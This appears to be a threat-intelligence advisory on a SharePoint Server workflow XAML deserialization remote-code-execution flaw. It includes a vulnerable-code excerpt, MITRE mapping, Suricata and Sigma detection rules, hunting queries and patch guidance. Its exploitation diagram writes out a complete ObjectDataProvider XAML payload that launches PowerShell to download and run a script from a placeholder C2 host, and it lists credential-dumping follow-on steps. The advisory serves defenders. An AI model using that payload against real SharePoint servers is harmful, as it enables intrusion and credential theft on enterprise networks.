Skip to content

CVE-2026-58644: Remote Code Execution in Microsoft SharePoint Server via Workflow Event Receiver Deserialization

HERMES

HERMES THREAT SCORE & ENTERPRISE INTRANET WORKFLOW SUBVERSION

Target: Microsoft SharePoint Server (Subscription Edition, 2019, 2016)
Confidence: 99%
98 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 20 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
βš–οΈ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-58644 at 9.8 (Critical) and CVSS v4.0 scores 9.8. The Hermes Threat Score assigns 98 (CRITICAL). Alignment is comprehensive: following CVE-2026-50522 and CVE-2026-55040, this flaw targets the asynchronous workflow and event receiver pipeline, ensuring reliable arbitrary code execution even where front-end BDC mitigations were applied.

πŸ•ΈοΈ Connected Knowledge Graph & Provenance

CVE-2026-58644: Remote Code Execution in Microsoft SharePoint Server via Workflow Event Receiver DeserializationVULNERABILITY

Connected Nodes: 2
Active Relationships (Outgoing)
→ affectsPRODUCTMicrosoft Windows & Windows Server
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

πŸ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Microsoft Windows & Windows Server documented in Hermes dossier.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

πŸ” Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

SharePoint workflows orchestrate enterprise document approval, content publishing, and automated document retention schedules across corporate libraries.

ParameterTechnical SpecificationThreat Context
CVE IdentifierCVE-2026-58644CISA KEV Catalog Entry
Vulnerable ComponentMicrosoft.SharePoint.Workflow.dllWorkflow Event Receiver & Subscription Engine
Process Contextw3wp.exe / SPUCWorkerProcess.exeHigh-privilege application pool service account
Network VectorHTTP/HTTPS (Port 80, 443)Inbound SharePoint Web Service API requests
Affected VersionsSharePoint Subscription Edition, 2019, 2016Global enterprise on-premises deployments
Fixed VersionsMicrosoft Security Updates (September 2026)Official Windows Update MSRC Patch
Threat LandscapeAdvanced persistent threats & ransomware operatorsChained post-authentication or JWT-spoofed RCE

2. In-Depth Technical Decomposition: XAML & NetDataContractSerializer Deserialization

Section titled β€œ2. In-Depth Technical Decomposition: XAML & NetDataContractSerializer Deserialization”

When a workflow event is triggered, SharePoint unmarshals client-supplied event context parameters. The vulnerable method unpacks the event payload using XamlReader.Load() without restricting the allowed XML types using an explicit XamlReaderSettings schema filter:

// Decompiled representation of insecure event deserialization
public static object UnpackEventPayload(string rawXmlPayload) {
StringReader stringReader = new StringReader(rawXmlPayload);
XmlReader xmlReader = XmlReader.Create(stringReader);
// VULNERABILITY: Insecure XamlReader instantiation allows ObjectDataProvider gadgets
return XamlReader.Load(xmlReader);
}
+----------------------------------------------------------------------------------------------------+
| CVE-2026-58644 EXPLOITATION ARCHITECTURE |
+----------------------------------------------------------------------------------------------------+
[Remote Adversary]
β”‚
β”‚ [1] Submits crafted XAML payload to /_vti_bin/Workflow.asmx
β”‚ Containing:
β”‚ <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
β”‚ xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
β”‚ xmlns:diag="clr-namespace:System.Diagnostics;assembly=System">
β”‚ <ObjectDataProvider x:Key="cmd" ObjectType="{x:Type diag:Process}" MethodName="Start">
β”‚ <ObjectDataProvider.MethodParameters>
β”‚ <x:String>powershell.exe</x:String>
β”‚ <x:String>-c "iex (New-Object Net.WebClient).DownloadString('http://c2/s')"</x:String>
β”‚ </ObjectDataProvider.MethodParameters>
β”‚ </ObjectDataProvider>
β”‚ </ResourceDictionary>
β–Ό
[Microsoft IIS / SharePoint w3wp.exe]
β”‚
β”œβ”€β”€β”€β–Ί 1. Workflow ASMX Service Endpoint:
β”‚ - Forwards payload to UnpackEventPayload()
β”‚
β”œβ”€β”€β”€β–Ί 2. XamlReader Processing:
β”‚ - Parses XML tree and resolves ObjectDataProvider
β”‚ - Automatically invokes MethodName "Start" on type System.Diagnostics.Process
β”‚
β–Ό
[Unconstrained Command Execution]
β”‚
└───► Spawns powershell.exe with SharePoint Service Account rights:
- Injects stealthy in-memory C2 agent
- Dumps farm configuration database credentials
- Modifies SharePoint assembly trust policies
+----------------------------------------------------------------------------------------------------+

3. Threat Intelligence, CISA KEV & Exploitation in the Wild

Section titled β€œ3. Threat Intelligence, CISA KEV & Exploitation in the Wild”
  • CISA KEV Listing: Rapidly cataloged after being observed in multiple corporate intrusions targeting financial institutions and government contractors.
  • Payload Evolution: Transitioned from standard disk-backed ASPX web shells to completely in-memory .NET CLR hooking techniques, avoiding detection by file-based Endpoint Detection and Response (EDR) solutions.

TacticTechnique IDTechnique NameExploitation Manifestation
Initial AccessT1190Exploit Public-Facing ApplicationSending malicious XAML payload to workflow ASMX endpoints
ExecutionT1059.001Command and Scripting Interpreter: PowerShellSpawning PowerShell process via ObjectDataProvider
Defense EvasionT1027Obfuscated/Compressed Files and InformationBase64 and XAML encoding of deserialization gadgets
PersistenceT1505.003Server Software Component: Web ShellInjecting persistent in-memory event handlers

alert http any any -> $SHAREPOINT_SERVERS any (
msg:"HERMES DEFENSE - SharePoint Workflow XAML Deserialization Attempt (CVE-2026-58644)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/Workflow.asmx";
http.request_body; content:"ObjectDataProvider";
http.request_body; content:"System.Diagnostics";
classtype:web-application-attack;
sid:202658644;
rev:1;
reference:cve,2026-58644;
)
title: Insecure XAML Deserialization by SharePoint Workflow Worker
id: 3b2a1c0d-9e8f-4a7b-6c5d-58644c026e01
status: high
description: Detects suspicious process spawning from SharePoint workflow worker or IIS process indicative of XAML deserialization exploits.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: windows
category: process_creation
detection:
selection_parent:
ParentImage|endswith:
- '\w3wp.exe'
- '\SPUCWorkerProcess.exe'
selection_child:
Image|endswith:
- '\powershell.exe'
- '\cmd.exe'
- '\cscript.exe'
condition: selection_parent and selection_child
falsepositives:
- Legitimate custom workflow actions explicitly executing system scripts (uncommon).
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.001

  1. Analyze Sysmon Event ID 1 (Process Create):
    Terminal window
    Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
    Where-Object { $_.Message -match "SPUCWorkerProcess.exe|w3wp.exe" }
  2. Review SharePoint Workflow History Logs:
    • Check SharePoint Central Administration -> Monitoring -> Review workflow health.
  3. Inspect W3C Web Service Logs:
    • Filter for POST requests to /Workflow.asmx containing XML bodies with ObjectDataProvider.
{
"query": {
"bool": {
"must": [
{ "term": { "http.request.method": "POST" } },
{ "wildcard": { "url.path": "*Workflow.asmx*" } },
{ "wildcard": { "http.request.body.content": "*ObjectDataProvider*" } }
]
}
}
}

  1. Apply Official Microsoft Patch: Install the September 2026 SharePoint Server Cumulative Security Update.
  2. Disable Deprecated SharePoint 2010/2013 Workflow Engine: If not actively required by business processes, disable the legacy workflow subsystem:
    Terminal window
    Disable-SPFeature -Identity "WorkflowServiceStore" -Url "http://sharepoint.corp"
  3. Enforce Strict Application Whitelisting: Configure Windows Defender Application Control (WDAC) or AppLocker to block w3wp.exe from spawning administrative scripting shells (cmd.exe, powershell.exe).
  4. Isolate Service Accounts: Ensure SharePoint farm service accounts do not belong to the Domain Admins group.